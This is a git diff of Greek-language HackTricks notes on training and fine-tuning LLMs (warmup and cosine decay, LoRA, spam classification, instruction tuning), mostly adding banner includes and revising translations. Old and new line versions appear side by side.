- Παραδοσιακοί optimizers όπως ο SGD με L2 κανονικοποίηση συνδυάζουν τον weight decay με τον βαθμό της συνάρτησης απώλειας. Ωστόσο, ο **AdamW** (μια παραλλαγή του Adam optimizer) αποσυνδέει τον weight decay από την ενημέρωση του βαθμού, οδηγώντας σε πιο αποτελεσματική κανονικοποίηση.
- Η συσκευή που θα χρησιμοποιηθεί για την εκπαίδευση
- Ο αριθμός των εποχών: Αριθμός φορών που θα περάσει από τα δεδομένα εκπαίδευσης
- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσετε τη `evaluate_model`
- Η επανάληψη αξιολόγησης: Ο αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείτε τη `generate_and_print_sample`
- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείτε τη `generate_and_print_sample`
- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσει τη `evaluate_model`
- Η επανάληψη αξιολόγησης: Ο αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείται η `generate_and_print_sample`
- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείται η `generate_and_print_sample`
- Ο tokenizer
```python
# Functions to train the data
@ -830,8 +832,8 @@ model.train() # Back to training model applying all the configurations
> [!TIP]
> Για να βελτιωθεί ο ρυθμός εκμάθησης, υπάρχουν μερικές σχετικές τεχνικές που ονομάζονται **linear warmup** και **cosine decay.**
>
> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσης.\
> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολικής εκπαίδευσης** των ελαχίστων απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις.
> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσής του.\
> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολής** στα ελάχιστα απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις.
>
> _Σημειώστε ότι αυτές οι βελτιώσεις δεν περιλαμβάνονται στον προηγούμενο κώδικα._
@ -933,9 +935,12 @@ model.eval() # Put in eval mode
Υπάρχουν 2 γρήγορα σενάρια για να φορτώσετε τα βάρη GPT2 τοπικά. Για και τα δύο μπορείτε να κλωνοποιήσετε το αποθετήριο [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) τοπικά, στη συνέχεια:
- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) θα κατεβάσει όλα τα βάρη και θα μετατρέψει τις μορφές από OpenAI στις μορφές που αναμένονται από το LLM μας. Το σενάριο είναι επίσης προετοιμασμένο με την απαραίτητη διαμόρφωση και με την προτροπή: "Every effort moves you"
- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) σας επιτρέπει να φορτώσετε οποιαδήποτε από τα βάρη GPT2 τοπικά (απλώς αλλάξτε τη μεταβλητή `CHOOSE_MODEL`) και να προβλέψετε κείμενο από κάποιες προτροπές.
- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) θα κατεβάσει όλα τα βάρη και θα μετατρέψει τις μορφές από το OpenAI στις μορφές που αναμένονται από το LLM μας. Το σενάριο είναι επίσης προετοιμασμένο με την απαραίτητη διαμόρφωση και με την προτροπή: "Every effort moves you"
- Το σενάριο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) σας επιτρέπει να φορτώσετε οποιαδήποτε από τα βάρη GPT2 τοπικά (απλά αλλάξτε τη μεταβλητή `CHOOSE_MODEL`) και να προβλέψετε κείμενο από κάποιες προτροπές.
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 7.0. Βελτιώσεις LoRA στην προσαρμογή
{{#include /banners/hacktricks-training.md}}
## Βελτιώσεις LoRA
> [!TIP]
@ -9,12 +11,12 @@
1. **Μειώνει τον Αριθμό των Εκπαιδεύσιμων Παραμέτρων**: Αντί να ενημερώνει ολόκληρη τη μήτρα βαρών στο μοντέλο, το LoRA **χωρίζει** τη μήτρα βαρών σε δύο μικρότερες μήτρες (που ονομάζονται **A** και **B**). Αυτό καθιστά την εκπαίδευση **ταχύτερη** και απαιτεί **λιγότερη μνήμη** επειδή λιγότερες παράμετροι χρειάζεται να ενημερωθούν.
1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει σε ένα προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\
1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει ως το προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους και να ενημερώνετε μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται και προσαρμόζετε μόνο ό,τι είναι απαραίτητο.
3. **Αποτελεσματική Προσαρμογή σε Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλά να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά.
2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους, και ενημερώνει μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται, και απλώς προσαρμόζετε ό,τι είναι απαραίτητο.
3. **Αποτελεσματική Προσαρμογή για Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλώς να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά.
4. **Αποτελεσματικότητα Αποθήκευσης**: Μετά την προσαρμογή, αντί να αποθηκεύσετε ένα **εντελώς νέο μοντέλο** για κάθε εργασία, χρειάζεται μόνο να αποθηκεύσετε τις **μήτρες LoRA**, οι οποίες είναι πολύ μικρές σε σύγκριση με το ολόκληρο μοντέλο. Αυτό διευκολύνει την προσαρμογή του μοντέλου σε πολλές εργασίες χωρίς να χρησιμοποιείτε υπερβολικό χώρο αποθήκευσης.
Για να υλοποιήσετε τα LoraLayers αντί για γραμμικά κατά τη διάρκεια μιας προσαρμογής, προτείνεται αυτός ο κώδικας εδώ [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,18 +1,20 @@
# 7.1. Fine-Tuning for Classification
## What is
{{#include /banners/hacktricks-training.md}}
## Τι είναι
Η προσαρμογή είναι η διαδικασία λήψης ενός **προεκπαιδευμένου μοντέλου** που έχει μάθει **γενικά γλωσσικά μοτίβα** από τεράστιες ποσότητες δεδομένων και **προσαρμογής** του για να εκτελεί μια **συγκεκριμένη εργασία** ή να κατανοεί γλώσσα συγκεκριμένης περιοχής. Αυτό επιτυγχάνεται με τη συνέχιση της εκπαίδευσης του μοντέλου σε ένα μικρότερο, ειδικό για την εργασία σύνολο δεδομένων, επιτρέποντάς του να προσαρμόσει τις παραμέτρους του ώστε να ταιριάζει καλύτερα στις αποχρώσεις των νέων δεδομένων, ενώ αξιοποιεί τη γενική γνώση που έχει ήδη αποκτήσει. Η προσαρμογή επιτρέπει στο μοντέλο να παρέχει πιο ακριβή και σχετικά αποτελέσματα σε εξειδικευμένες εφαρμογές χωρίς την ανάγκη εκπαίδευσης ενός νέου μοντέλου από την αρχή.
> [!TIP]
> Καθώς η προεκπαίδευση ενός LLM που "κατανοεί" το κείμενο είναι αρκετά δαπανηρή, είναι συνήθως πιο εύκολο και φθηνότερο να προσαρμόσουμε ανοιχτού κώδικα προεκπαιδευμένα μοντέλα για να εκτελούν μια συγκεκριμένη εργασία που θέλουμε να εκτελούν.
> Δεδομένου ότι η προεκπαίδευση ενός LLM που "κατανοεί" το κείμενο είναι αρκετά δαπανηρή, είναι συνήθως πιο εύκολο και φθηνότερο να προσαρμόσουμε ανοιχτού κώδικα προεκπαιδευμένα μοντέλα για να εκτελούν μια συγκεκριμένη εργασία που θέλουμε να εκτελούν.
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, έτσι ώστε αντί να δημιουργεί νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
## Preparing the data set
## Προετοιμασία του συνόλου δεδομένων
### Data set size
### Μέγεθος συνόλου δεδομένων
Φυσικά, για να προσαρμόσετε ένα μοντέλο χρειάζεστε κάποια δομημένα δεδομένα για να εξειδικεύσετε το LLM σας. Στο παράδειγμα που προτείνεται στο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), το GPT2 προσαρμόζεται για να ανιχνεύει αν ένα email είναι spam ή όχι χρησιμοποιώντας τα δεδομένα από [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
@ -20,21 +22,21 @@
Στη συνέχεια, το **70%** του συνόλου δεδομένων χρησιμοποιείται για **εκπαίδευση**, το **10%** για **επικύρωση** και το **20%** για **δοκιμή**.
- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαλεί προκατάληψη στην τελική αξιολόγηση.
- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαταβάλει την τελική αξιολόγηση.
- Αυτό σημαίνει ότι αν και τα δεδομένα που περιλαμβάνονται σε αυτό το σύνολο δεδομένων δεν χρησιμοποιούνται άμεσα για την εκπαίδευση, χρησιμοποιούνται για να ρυθμίσουν τις καλύτερες **υπερπαραμέτρους**, οπότε αυτό το σύνολο δεν μπορεί να χρησιμοποιηθεί για την αξιολόγηση της απόδοσης του μοντέλου όπως το σύνολο δοκιμής.
- Αντίθετα, το **σύνολο δοκιμής** χρησιμοποιείται **μόνο μετά** την πλήρη εκπαίδευση του μοντέλου και την ολοκλήρωση όλων των ρυθμίσεων; παρέχει μια αμερόληπτη εκτίμηση της ικανότητας του μοντέλου να γενικεύει σε νέα, αόρατα δεδομένα. Αυτή η τελική αξιολόγηση στο σύνολο δοκιμής δίνει μια ρεαλιστική ένδειξη του πώς αναμένεται να αποδώσει το μοντέλο σε πραγματικές εφαρμογές.
### Entries length
### Μήκος καταχωρίσεων
Καθώς το παράδειγμα εκπαίδευσης αναμένει καταχωρίσεις (κείμενα email σε αυτή την περίπτωση) της ίδιας μήκους, αποφασίστηκε να γίνει κάθε καταχώριση όσο μεγάλη είναι η μεγαλύτερη προσθέτοντας τα ids του `<|endoftext|>` ως padding.
Καθώς το παράδειγμα εκπαίδευσης αναμένει καταχωρίσεις (κείμενα email σε αυτή την περίπτωση) του ίδιου μήκους, αποφασίστηκε να γίνει κάθε καταχώριση όσο μεγάλη είναι η μεγαλύτερη προσθέτοντας τα ids του `<|endoftext|>` ως padding.
### Initialize the model
### Αρχικοποίηση του μοντέλου
Χρησιμοποιώντας τα προεκπαιδευμένα βάρη ανοιχτού κώδικα, αρχικοποιήστε το μοντέλο για εκπαίδευση. Έχουμε ήδη κάνει αυτό πριν και ακολουθώντας τις οδηγίες του [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) μπορείτε εύκολα να το κάνετε.
## Classification head
## Κεφαλή κατηγοριοποίησης
Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε την τελική στρώση που** δίνει τις πιθανότητες ανά token του λεξιλογίου για μία που δίνει μόνο τις πιθανότητες του να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων).
Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε το τελικό επίπεδο που** δίνει τις πιθανότητες ανά token του λεξιλογίου για ένα που δίνει μόνο τις πιθανότητες του να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
@ -47,7 +49,7 @@ out_features=num_classes
```
## Παράμετροι προς ρύθμιση
Για να γίνει η ρύθμιση γρήγορα, είναι πιο εύκολο να μην ρυθμιστούν όλες οι παράμετροι αλλά μόνο μερικές τελικές. Αυτό συμβαίνει επειδή είναι γνωστό ότι τα κατώτερα επίπεδα γενικά καταγράφουν βασικές γλωσσικές δομές και εφαρμοσμένη σημασιολογία. Έτσι, απλώς **η ρύθμιση των τελευταίων επιπέδων είναι συνήθως αρκετή και πιο γρήγορη**.
Για να γίνει η ρύθμιση γρήγορα, είναι πιο εύκολο να μην ρυθμιστούν όλες οι παράμετροι αλλά μόνο μερικές τελικές. Αυτό συμβαίνει επειδή είναι γνωστό ότι τα κατώτερα επίπεδα γενικά καταγράφουν βασικές γλωσσικές δομές και σημασιολογίες που είναι εφαρμόσιμες. Έτσι, απλώς **η ρύθμιση των τελευταίων επιπέδων είναι συνήθως αρκετή και πιο γρήγορη**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
@ -108,3 +110,5 @@ return loss
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,11 +1,13 @@
# 7.2. Ρύθμιση για να ακολουθεί οδηγίες
{{#include /banners/hacktricks-training.md}}
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **ρυθμίσουμε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
## Dataset
Για να ρυθμίσουμε ένα LLM να ακολουθεί οδηγίες, είναι απαραίτητο να έχουμε ένα dataset με οδηγίες και απαντήσεις για να ρυθμίσουμε το LLM. Υπάρχουν διάφορες μορφές για να εκπαιδεύσουμε ένα LLM να ακολουθεί οδηγίες, για παράδειγμα:
Για να ρυθμίσουμε ένα LLM να ακολουθεί οδηγίες, είναι απαραίτητο να έχουμε ένα σύνολο δεδομένων με οδηγίες και απαντήσεις για να ρυθμίσουμε το LLM. Υπάρχουν διάφορες μορφές για να εκπαιδεύσουμε ένα LLM να ακολουθεί οδηγίες, για παράδειγμα:
- Το παράδειγμα στυλ προτροπής Apply Alpaca:
```csharp
@ -49,11 +51,11 @@ desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
Then, as always, it's needed to separate the dataset in sets for training, validation and testing.
Τότε, όπως πάντα, είναι απαραίτητο να διαχωρίσουμε το σύνολο δεδομένων σε σύνολα για εκπαίδευση, επικύρωση και δοκιμή.
## Batching & Data Loaders
Then, it's needed to batch all the inputs and expected outputs for the training. For this, it's needed to:
Τότε, είναι απαραίτητο να ομαδοποιήσουμε όλες τις εισόδους και τις αναμενόμενες εξόδους για την εκπαίδευση. Για αυτό, είναι απαραίτητο να:
- Tokenize the texts
- Pad all the samples to the same length (usually the length will be as big as the context length used to pre-train the LLM)
@ -61,21 +63,21 @@ Then, it's needed to batch all the inputs and expected outputs for the training.
- Replace some padding tokens with -100 to exclude them from the training loss: After the first `endoftext` token, substitute all the other `endoftext` tokens by -100 (because using `cross_entropy(...,ignore_index=-100)` means that it'll ignore targets with -100)
- \[Optional] Mask using -100 also all the tokens belonging to the question so the LLM learns only how to generate the answer. In the Apply Alpaca style this will mean to mask everything until `### Response:`
With this created, it's time to crate the data loaders for each dataset (training, validation and test).
Με αυτό δημιουργημένο, είναι ώρα να δημιουργήσουμε τους φορτωτές δεδομένων για κάθε σύνολο δεδομένων (εκπαίδευση, επικύρωση και δοκιμή).
## Load pre-trained LLM & Fine tune & Loss Checking
It's needed to load a pre-trained LLM to fine tune it. This was already discussed in other pages. Then, it's possible to use the previously used training function to fine tune the LLM.
Είναι απαραίτητο να φορτώσουμε ένα προεκπαιδευμένο LLM για να το βελτιώσουμε. Αυτό έχει ήδη συζητηθεί σε άλλες σελίδες. Τότε, είναι δυνατό να χρησιμοποιήσουμε τη λειτουργία εκπαίδευσης που χρησιμοποιήθηκε προηγουμένως για να βελτιώσουμε το LLM.
During the training it's also possible to see how the training loss and validation loss varies during the epochs to see if the loss is getting reduced and if overfitting is ocurring.\
Remember that overfitting occurs when the training loss is getting reduced but the validation loss is not being reduced or even increasing. To avoid this, the simplest thing to do is to stop the training at the epoch where this behaviour start.
Κατά τη διάρκεια της εκπαίδευσης είναι επίσης δυνατό να δούμε πώς η απώλεια εκπαίδευσης και η απώλεια επικύρωσης ποικίλλουν κατά τη διάρκεια των εποχών για να δούμε αν η απώλεια μειώνεται και αν συμβαίνει υπερβολική προσαρμογή.\
Θυμηθείτε ότι η υπερβολική προσαρμογή συμβαίνει όταν η απώλεια εκπαίδευσης μειώνεται αλλά η απώλεια επικύρωσης δεν μειώνεται ή ακόμη και αυξάνεται. Για να το αποφύγουμε, το πιο απλό πράγμα που πρέπει να κάνουμε είναι να σταματήσουμε την εκπαίδευση στην εποχή όπου αυτή η συμπεριφορά αρχίζει.
## Response Quality
As this is not a classification fine-tune were it's possible to trust more the loss variations, it's also important to check the quality of the responses in the testing set. Therefore, it's recommended to gather the generated responses from all the testing sets and **check their quality manually** to see if there are wrong answers (note that it's possible for the LLM to create correctly the format and syntax of the response sentence but gives a completely wrong response. The loss variation won't reflect this behaviour).\
Note that it's also possible to perform this review by passing the generated responses and the expected responses to **other LLMs and ask them to evaluate the responses**.
Καθώς αυτό δεν είναι μια εκπαίδευση ταξινόμησης όπου είναι δυνατό να εμπιστευτούμε περισσότερο τις μεταβολές της απώλειας, είναι επίσης σημαντικό να ελέγξουμε την ποιότητα των απαντήσεων στο σύνολο δοκιμών. Επομένως, συνιστάται να συγκεντρώσουμε τις παραγόμενες απαντήσεις από όλα τα σύνολα δοκιμών και **να ελέγξουμε την ποιότητά τους χειροκίνητα** για να δούμε αν υπάρχουν λανθασμένες απαντήσεις (σημειώστε ότι είναι δυνατό για το LLM να δημιουργήσει σωστά τη μορφή και τη σύνταξη της πρότασης απάντησης αλλά να δώσει μια εντελώς λανθασμένη απάντηση. Η μεταβολή της απώλειας δεν θα αντικατοπτρίζει αυτή τη συμπεριφορά).\
Σημειώστε ότι είναι επίσης δυνατό να πραγματοποιήσουμε αυτή την ανασκόπηση περνώντας τις παραγόμενες απαντήσεις και τις αναμενόμενες απαντήσεις σε **άλλα LLMs και να τους ζητήσουμε να αξιολογήσουν τις απαντήσεις**.
Other test to run to verify the quality of the responses:
Άλλες δοκιμές που πρέπει να εκτελούνται για να επαληθεύσουν την ποιότητα των απαντήσεων:
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evaluates a model's knowledge and problem-solving abilities across 57 subjects, including humanities, sciences, and more. It uses multiple-choice questions to assess understanding at various difficulty levels, from elementary to advanced professional.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): This platform allows users to compare responses from different chatbots side by side. Users input a prompt, and multiple chatbots generate responses that can be directly compared.
@ -89,7 +91,7 @@ Other test to run to verify the quality of the responses:
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consists of questions about Wikipedia articles, where models must comprehend the text to answer accurately.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** A large-scale dataset of trivia questions and answers, along with evidence documents.
and many many more
και πολλά πολλά άλλα
## Follow instructions fine-tuning code
@ -98,3 +100,5 @@ You can find an example of the code to perform this fine tuning in [https://gith
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# LLM Training - Data Preparation
{{#include /banners/hacktricks-training.md}}
**Αυτές είναι οι σημειώσεις μου από το πολύ προτεινόμενο βιβλίο** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **με κάποιες επιπλέον πληροφορίες.**
## Basic Information
@ -34,7 +36,7 @@
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο έναν διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι εκπαιδεύσιμες παράμετροι (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
>
> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασή εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) την **απόλυτη θέση της λέξης στην προτασή εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
{{#ref}}
3.-token-embeddings.md
@ -73,7 +75,7 @@
## 7.0. LoRA Improvements in fine-tuning
> [!TIP]
> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιστοποιήσετε** ήδη εκπαιδευμένα μοντέλα.
> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιώσετε** ήδη εκπαιδευμένα μοντέλα.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
@ -82,7 +84,7 @@
## 7.1. Fine-Tuning for Classification
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
{{#ref}}
7.1.-fine-tuning-for-classification.md
@ -91,8 +93,10 @@
## 7.2. Fine-Tuning to follow instructions
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιστοποιήσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
{{#include /banners/hacktricks-training.md}}

View File

@ -149,6 +149,7 @@
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@ -217,8 +218,10 @@
